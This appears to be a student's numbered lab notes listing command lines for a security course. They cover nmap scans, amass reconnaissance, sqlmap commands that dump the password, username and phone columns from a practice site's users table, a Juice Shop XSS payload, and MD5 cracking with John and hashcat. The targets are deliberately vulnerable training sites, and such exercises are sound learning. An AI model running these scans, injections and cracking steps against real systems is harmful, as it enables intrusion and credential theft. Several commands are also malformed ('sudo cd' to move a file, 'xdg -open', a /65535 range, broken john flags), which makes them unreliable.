

1)

- `sudo apt`
- `ifconfig`
- `nmap -sn ipaddress`
- `nmap -sn another ipaddress`
- `nmap -O ipaddress`
- `nmap -O ipaddress/24`
- `nmap -A ipaddress`
- `nmap -A ipaddress/65535`
- `amass enum -passive -d tecsecure.com`

4)

- `sqlmap -u testphp.vulweb.com/artists.php?artist=1 --dbs`
- `sqlmap -u testphp.vulweb.com/artists.php?artist=1 -D acuart --tables`
- `sqlmap -u testphp.vulweb.com/artists.php?artist=1 -D acuart -T users --columns`
- `sqlmap -u testphp.vulweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump`
- `sqlmap -u testphp.vulweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump`
- `sqlmap -u testphp.vulweb.com/artists.php?artist=1 -D acuart -T users -C phone --dump`

5)

- `docker --version`
- `docker run -p 3000:3000 bkimminich/juice-shop`
- `<img src = x onerror =alert('XSS')>`

6)

- `1.echo -n "hello world">message.txt`
- `2.cat message.txt`
- `3.md5sum message.txt>hash.txt`
- `5.cat hash.txt`
- `6.cut -d " " -f1 hash.txt> hashes.txt`
- `7.john --format = raw-md5 --wordlist=/usr/share/wordlist/rockyou.txt hashes.txt`
- `john --show--format = raw-md5 hashes.txt`
- `hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt`
- `hashcat --show hashes.txt`

10)

- `sudo apt install pandoc`
- `nano name_report.md`
- `pandoc name_report.md -o name_report.pdf`
- `realpath name_report.pdf`
- `sudo apt install evince -y`
- `sudo cd /root/name_report.pdf /home/kali/Desktop`
- `cd /home/kali/Desktop`
- `xdg -open /home/kali/Desktop/name_report.pdf`